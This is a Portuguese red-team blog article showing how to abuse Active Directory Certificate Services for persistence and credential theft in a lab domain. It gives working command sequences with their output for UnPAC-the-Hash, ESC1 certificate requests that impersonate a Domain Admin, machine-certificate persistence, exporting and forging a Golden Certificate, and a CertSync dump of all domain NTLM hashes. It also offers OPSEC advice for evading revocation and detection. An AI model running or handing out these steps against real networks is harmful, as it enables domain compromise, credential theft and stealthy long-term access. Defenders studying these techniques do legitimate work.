Summary
- Introduction
- UnPAC-The-Hash
- Persistence by user certificate
- Persistence by machine certificate
- Golden Certificate persistence
- Certsync against dcsync
Introduction
Quando falamos em persistência em ambientes Active Directory, nos vem a mente diversas maneiras de realiza-la uma das mais conhecidas entre os atacante é o Golden Ticket que consiste em capturar a hash ntlm do “usuario” krbtgt e por fim conseguir emitir tickets em nome de qualquer usuario como em cenarios de persistencia, você sempre estara olhando para um usuario com alto valor como DA(Domain Admins) e EA(Enterprise Admins).
Contudo a técnica de Golden Ticket já em bem conhecida por defensores, e também facil de se detectar em ambientes mais maduros claro, onde há monitoramento de logs, trafego Kerberos e LDAP. Com o crescimento do uso de ADCS em ambientes corporativos e afins, novas técnicas para exploração e vulnerabilidades sempre surgem como os (ESC:1,2,3,4…11,14), todos sabemos que o ADCS se mal configurado ao explorar qualquer uma das vulnerabilidades nele presentes, elas podem comprometer todo o dominio rapidamente. Mas será que o ADCS só serve para escalação de privilegios? Nesse artigo quero mostrar que o ADCS também pode ser utilizado para diversos tipos de persistencia e também para roubo de credênciais de forma mais OPSEC.
UnPAC-The-Hash
Ao utilizar o PKINIT para obter um TGT (Ticket Granting Ticket), o KDC (Key Distribution Center) inclui no ticket uma estrutura PAC_CREDENTIAL_INFO contendo as chaves NTLM (ou seja, hashes LM e NT) do usuário autenticador. Este recurso permite que os usuários mudem para autenticações NTLM quando servidores remotos não suportam Kerberos, enquanto ainda contam com um mecanismo de verificação de pré-autenticação Kerberos assimétrico (ou seja, PKINIT).
As hashes NTLM serão então recuperáveis após um fazer um TGS-REQ através de U2U, combinado com S4U2self, que é uma solicitação de Service Ticket feita ao KDC onde o usuário pede para se autenticar.
O diagrama abaixo mostra como o UnPAC-The-Hash funciona, mas porque essa técnica é vantajosa para nós atacantes? A vantagem é que ao gerar o certificado de um usuario e utilizar a técnica você sempre irá conseguir a HASH NTLM atual daquele usuario ou seja:
- Mesmo que o usuario altere sua senha, o certificado irá continuar valido para uso(Uma das outras vantagens do ADCS também LOLLL)
- Mesmo que o usuario altere sua senha, com UnPAC você sempre irá conseguir extrair a hash ntlm da senha atual dele.
Futuramente combinaremos essa técnica a outra, conhecida como CertSync que é uma forma de realizar “DCSync” porém utilizando certificados. Agora vamos realizar isso em laboratorio, localmente tenho um comigo um ambiente AD já com ADCS e templates configuradas.
Para realizar essa técnica a unica premissa é que você precisa saber a senha do certificado, então sempre que for executar que seja de um certificado que você tenha criado, ou algum certificado com a senha fraca que você conseguiu brutar
.\Rubeus.exe asktgt /getcredentials /user:paulo.victor /certificate:"C:\Tools\esc4-DA.pfx" /password:Senha /domain:corp.local /dc:corp-dc /show
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=Daniel Moura, OU=Usuarios, OU=Inferi, DC=CORP, DC=LOCAL
[*] Building AS-REQ (w/ PKINIT preauth) for: 'corp.local\paulo.victor'
[*] Using domain controller: 10.0.0.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGVjCCBlKgAwIBBaEDAgEWooIFbTCCBWlh....
ServiceName : krbtgt/corp.local
ServiceRealm : CORP.LOCAL
UserName : paulo.victor
UserRealm : CORP.LOCAL
StartTime : 1/10/2025 11:33:04 PM
EndTime : 1/11/2025 9:33:04 AM
RenewTill : 1/17/2025 11:33:04 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : YJHc9+T6Rdt8PrWc5eEdZQ==
ASREP (key) : 51901227A9A7C2FDF729D40313291627
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : **E15E48546D35C3F2EF7FB995A4A9548E**
Como podem ver, consegui capturar a hash ntlm do meu usuario que é owner da template que utilizei e também é Domain Admin dentro do ambiente, e como eu disse não importa quantas vezes o usuario mude de senha, você sempre ira capturar a hash atual e tudo isso sem nem tocarmos no processo LSASS.
Persistence by user certificate
Também é possivel gerar persistencia no ambiente, atraves de certificados para o usuario. A ideia aqui é que você já tenha um alto acesso dentro do ambiente como Domain Admin, para emitir esse certificado no nome de um usuario de alto privilegio que você queira manter o acesso.
O step-by-step seria:
- Possuir acesso a um usuario de alto privilegio(i.e DA & EA)
- Solicitar um certificado para aquele usuario em uma template que permite Client Authentication
Por padrão o ADCS tem algumas templates que permite Client Authentication como a template User que é a template que iremos utilizar para gerar o certificado para o nosso usuario. Geralmente esses certificados tem a validade de 1 ano, porém quando estiver para expirar você pode simplesmente reemitir o mesmo.
No contexto abaixo, estou com um usuario low priv no meu ambiente, vou estar emitindo o certificado em nome de uma template que é vulneravel a ESC1, o que dara um ticket com o usuario Domain Admin, que será nosso alvo de persistencia.
.\Certify.exe request /ca:CORP-DC.CORP.LOCAL\CORP-CA /template:"CORP - Kerberos Authentication" /altname:paulo.victor
[*] Action: Request a Certificates
[*] Current user context : CORP\danielmoura
[*] No subject name specified, using current context as subject.
[*] Template : CORP - Kerberos Authentication
[*] Subject : CN=Daniel Moura, OU=Usuarios, OU=Inferi, DC=CORP, DC=LOCAL
[*] AltName : paulo.victor
[*] Certificate Authority : CORP-DC.CORP.LOCAL\CORP-CA
[*] CA Response : The certificate had been issued.
[*] Request ID : 21
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAveH2b8bqL7smcl...
-----END CERTIFICATE-----
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
C:\Tools\openssl\openssl.exe pkcs12 -in esc1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out esc1-DA.pfx
Enter Export Password:
Verifying - Enter Export Password:
Get-PfxCertificate -FilePath .\sora-DA.pfx | select *
EnhancedKeyUsageList : {Client Authentication (1.3.6.1.5.5.7.3.2), Server Authentication (1.3.6.1.5.5.7.3.1), Smart Card Logon (1.3.6.1.4.1.311.20.2.2), KDC Authentication (1.3.6.1.5.2.3.5)}
DnsNameList : {Daniel Moura}
SendAsTrustedIssuer : False
Archived : False
Extensions : {System.Security.Cryptography.Oid, System.Security.Cryptography.Oid, System.Security.Cryptography.Oid, System.Security.Cryptography.Oid...}
FriendlyName :
IssuerName : System.Security.Cryptography.X509Certificates.X500DistinguishedName
NotAfter : 1/10/2026 11:43:37 PM
NotBefore : 1/10/2025 11:43:37 PM
HasPrivateKey : True
PrivateKey : System.Security.Cryptography.RSACryptoServiceProvider
PublicKey : System.Security.Cryptography.X509Certificates.PublicKey
RawData : {48, 130, 5, 233...}
SerialNumber : 54000000150B74ED4CF8ADD060000000000015
SubjectName : System.Security.Cryptography.X509Certificates.X500DistinguishedName
SignatureAlgorithm : System.Security.Cryptography.Oid
Thumbprint : 1DD7B7333ECCF32A83DB5C86CEA9B80B0833C285
Version : 3
Handle : 2734492773680
Issuer : CN=CORP-CA, DC=CORP, DC=LOCAL
Subject : CN=Daniel Moura, OU=Usuarios, OU=Inferi, DC=CORP, DC=LOCAL
Pronto, com o certificado em mãos agora eu guardo ele comigo e por 1 ano vou ter essa persistência via usuario, e combinando com UnPAC-The-Hash você sempre irá conseguir a ntlm desse usuario atual enquanto o certificado for valido 😏
No meu contexto eu pedi sobre uma template vulneravel, porém o ideal é fazer como eu disse acima, emitir essa template em um certificado padrão do ADCS como a User. Em seguida veremos como realizar a persistência em maquinas.
Persistence by machine certificate
A persistência de maquina com certificados, segue a mesma ideia da maneira anterior, mas ao invés de ser nescessario um usuario de alto privilegio, você precisa ser SYSTEM na maquina, e fazer persistencia por máquina também tem suas vantagens, como:
- O certificado dura 1 ano, e pode ser renovado quando estiver perto de expirar.
- Mesmo que o computador mude de senha o certificado ainda irá funcionar.
- Mesmo que formate o computador, caso ele volte para a rede com o mesmo nome, o certificado ainda será valido (THIS IS UNREAL MICROSOFT LMFAAAO).
- Caso haja alteração no SID da maquina, ai sim o certificado se torna invalido, se a maquina for formatada normalmente ela tera o mesmo SID, caso ela seja formatada e houve alguma alteração de hardware o SID será alterado.
- Porém em novas atualizações do Certipy/fy você consegue especificar o SID que quer utilizar no certificado
Vamos então agora reproduzir em nosso laborátorio, a ideia é a seguinte
- Solicitar a CA(Certification Authority) um certificado sobre a template “Machine” que em seu EKU(Enhanced Key Usage) permite Client Authentication por padrão.
- Converter o .pem para pfx com openssl (OPSEC NOTES: Nunca coloque os certificados com uma senha fraca 😑).
.\Certify.exe request /ca:CORP-DC.CORP.LOCAL\CORP-CA /template:"Machine" /machine
[*] Action: Request a Certificates
[*] Current user context : NT AUTHORITY\SYSTEM
[*] No subject name specified, using current machine as subject
[*] Template : Machine
[*] Subject : CN=SRV-01.CORP.LOCAL
[*] Certificate Authority : CORP-DC.CORP.LOCAL\CORP-CA
[*] CA Response : The certificate had been issued.
[*] Request ID : 22
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEA0XOxnEqKbwpWnAOHKGHs...
-----END CERTIFICATE-----
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Get-PfxCertificate -FilePath .\srv01-A.pfx | select *
EnhancedKeyUsageList : {Client Authentication (1.3.6.1.5.5.7.3.2), Server Authentication (1.3.6.1.5.5.7.3.1)}
DnsNameList : {SRV-01.CORP.LOCAL}
SendAsTrustedIssuer : False
Archived : False
Extensions : {System.Security.Cryptography.Oid, System.Security.Cryptography.Oid, System.Security.Cryptography.Oid, System.Security.Cryptography.Oid...}
FriendlyName :
IssuerName : System.Security.Cryptography.X509Certificates.X500DistinguishedName
NotAfter : 1/11/2026 1:50:33 AM
NotBefore : 1/11/2025 1:50:33 AM
HasPrivateKey : True
PrivateKey : System.Security.Cryptography.RSACryptoServiceProvider
PublicKey : System.Security.Cryptography.X509Certificates.PublicKey
RawData : {48, 130, 5, 28...}
SerialNumber : 5400000016747C52BDC9582CB5000000000016
SubjectName : System.Security.Cryptography.X509Certificates.X500DistinguishedName
SignatureAlgorithm : System.Security.Cryptography.Oid
Thumbprint : 8E19E0FFE7DECD870DE249017F0C548DCDE79A8F
Version : 3
Handle : 2539689363184
Issuer : CN=CORP-CA, DC=CORP, DC=LOCAL
Subject : CN=SRV-01.CORP.LOCAL
Já com o certificado de maquina em mãos o proximo passo é simplesmente fazer um asktgt com o ticket e sua senha para o Rubeus, e boom você agora tem persistencia na maquina alvo.
Uma caracteristica das maquinas é que suas senhas são trocadas a cada 30 dias, mas como aprendemos nesse artigo sobre o UnPAC, isso não é mais um problema para nós 🙄
Golden Certificate persistence
O Golden Certificate em sua essência não é nada mais nada menos que o certificado da CA(Certification Authority), mas o que podemos fazer com isso?
Uma CA utiliza sua chave privada para assinar os certificados, caso um atacante consiga a extrair ele pode assinar qualquer certificado, e por ventura personificar qualquer usuario do dominio.
Vamos ao laboratorio.. Precisamos realizar alguns passos como:
- Realizar o “Backup” das chaves privadas da CA para formato .p12
- Converter o .p12 para .pem e após isso para .pfx
- Utilizar ferramentas como ForgeCert ou Certipy para emitir o certificado do usuario que queremos personificar
Backup-CARoleService C:\Tools\CA-Backup -Password (ConvertTo-SecureString "Senha" -AsPlainText -Force)
dir .\CA-Backup\
Directory: C:\Tools\CA-Backup
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/01/2025 02:22 DataBase
-a---- 11/01/2025 02:22 2597 CORP-CA.p12
Agora vamos levar esse arquivo .p12 para a maquina atacante, lembrando que ferramentas como Certipy extraem o certificado da CA de forma remota, porém requer privileigos de administrador de dominio.
C:\Tools\openssl\openssl.exe pkcs12 -in C:\Tools\CORP-CA.p12 -out C:\Tools\CORP-CA.pem
dir | findstr "CORP-CA"
-a---- 1/11/2025 2:22 AM 2597 CORP-CA.p12
-a---- 1/11/2025 2:26 AM 3387 CORP-CA.pem
C:\Tools\openssl\openssl.exe pkcs12 -in C:\Tools\CORP-CA.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out "C:\Tools\CORP-CA.pfx"
dir | findstr "CORP-CA"
-a---- 1/11/2025 2:22 AM 2597 CORP-CA.p12
-a---- 1/11/2025 2:26 AM 3387 CORP-CA.pem
-a---- 1/11/2025 2:30 AM 2587 CORP-CA.pfx
Guarde esse .pfx com TODA A SUA ALMA!!!!!!. Agora vamos utilizar o ForgeCert para emitir um certificado em nome do Domain Admin
.\ForgeCert.exe --CaCertPath ".\CORP-CA.p12" --CaCertPassword "Senha" --Subject "CN=paulo.victor,OU=Usuarios,OU=Inferi,DC=CORP,DC=LOCAL" --SubjectAltName paulo.victor@corp.local --NewCertPath ".\paulo-da.pfx" --NewCertPassword "Senha"
CA Certificate Information:
Subject: CN=CORP-CA, DC=CORP, DC=LOCAL
Issuer: CN=CORP-CA, DC=CORP, DC=LOCAL
Start Date: 1/4/2025 12:56:14 AM
End Date: 1/4/2030 1:06:13 AM
Thumbprint: 0C6145AAC4A1BDF07BA3F7D01461797BF511F12C
Serial: 1125934CE5144B9A4DEFB96CAAA4A9F2
Forged Certificate Information:
Subject: DC=LOCAL, DC=CORP, OU=Inferi, OU=Usuarios, CN=paulo.victor
SubjectAltName: paulo.victor@corp.local
Issuer: CN=CORP-CA, DC=CORP, DC=LOCAL
Start Date: 1/11/2025 2:34:50 AM
End Date: 1/11/2026 2:34:50 AM
Thumbprint: ED557F9E9F3811F07B62EF0517CE494D83E9AD4B
Serial: 00E32CD49040A22DBBA2BA81A1A6C87F4E
Done. Saved forged certificate to .\paulo-da.pfx with the password 'Senha'
Agora vamos utilizar o Rubeus para pedir um ticket TGT e personificar o Domain Admin
.\Rubeus.exe asktgt /user:paulo.victor /domain:corp.local /dc:corp-dc.corp.local /certificate:"C:\Tools\paulo-da.pfx" /password:"Senha" /ptt
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: DC=LOCAL, DC=CORP, OU=Tier0, OU=Usuarios, CN=paulo.victor
[*] Building AS-REQ (w/ PKINIT preauth) for: 'corp.local\paulo.victor'
[*] Using domain controller: 10.0.0.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGVjCCBlKgAwIBBaEDAgEWooIFbTCCBWlhg...
[+] Ticket successfully imported!
ServiceName : krbtgt/corp.local
ServiceRealm : CORP.LOCAL
UserName : paulo.victor
UserRealm : CORP.LOCAL
StartTime : 1/11/2025 2:37:29 AM
EndTime : 1/11/2025 12:37:29 PM
RenewTill : 1/18/2025 2:37:29 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : c5brmZK4ioq20251NDOs8w==
ASREP (key) : 667FB15683B166E0330E8D3DFE38620E
Pronto, agora somos Domain Admin do ambiente!!!. Basta com que você guarde esse .pfx com você para sempre, e sempre irá conseguir emitir um certificado no nome de qualquer usuario e personifica-lo no ambiente.
- OPSEC NOTES: Ao gerar certificados com Certipy/fy eles ficarão salvos em “Issued Certificates” no certsrv dentro da CA, oque dá a possibilidade dos defensores revogarem o seu certificado, oque é um problema. Porém ao utilizar Golden Cerficate você estará gerando os certificados localmente e eles não ficaram salvos dentro do certsrv, oque dificultara e MUITO a vida do defensor em revogar o seu certificado 🔥🧑🚒.
- Eu tirei essa captura de tela abaixo, após reproduzir os passos acima e como podemos ver, o certificado que eu emiti não está visivel dentro da CA.
Certsync against DCsync
Tá, mas sorahed 98% dos redteamers conhecem o DCSync e se sentem confortáveis com ele, o que esse CertSync tem de vantagem afinal?
Bom o DCsync explora o protocolo MS-DRSR, usado ele para replicar dados do AD, permitindo que um atacante extraia credenciais diretamente de um Domain Controller.
O ponto é que DCSync também utiliza a DSRUAPI que é monitorada e muitas vezes restritas por um EDR. Em casos de um ambiente maduro você não irá conseguir realizar esse ataque. Ai é onde o CertSync brilha, pois ele não nescessita da DSRUAPI e nem de um Domain Admin, apenas de um usuario que sejaadministrador da CA.
O CertSync é uma técnica para dumpar remotamente a NTDS utilizando as duas técnicas que vimos acima como o Golden Certificate e UnPAC-The-Hash, e ela faz isso em alguns passos:
- Faz um dump da lista de usuarios, informações da CA e também do CRL via LDAP.
- Faz o dump do certificado da CA e sua private key(.p12(Golden Certificate)).
- Forja localmente um certificado pra cada usuario
- Realiza UnPAC em todos esses certificados para obter a hash NTLM
Vamos reproduzir no laborátorio. Estou utilizando meu usuario que é administrador da CA que vamos realizar o ataque.
$ certsync -u paulo.victor -p 'Senha@123' -d corp.local -dc-ip 10.0.0.10 -ns 10.0.0.10
[*] Collecting userlist, CA info and CRL on LDAP
[*] Found 16 users in LDAP
[*] Found CA CORP-CA on corp.local(10.0.0.10)
[*] Dumping CA certificate and private key
[*] Forging certificates for every users. This can take some time...
[*] PKINIT + UnPAC the hashes
CORP.LOCAL/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:75431702DEEB8199026DCFCA6EA5C950:::
CORP.LOCAL/Administrator:500:aad3b435b51404eeaad3b435b51404ee:DDC84A0B28826D6CD4738C5852F38E81:::
....
Conclusion
Bom, então foi isso, vimos que o ADCS também é muito potente para persistência de usuarios, maquinas e também de dominio, espero escrever mais coisas futuramente sobre ADCS, e que você meu querido leitor também tenham gostado desse artigo, se curtiu da um joinha curte e compartilha.
- Per aspera ad inferi ❤️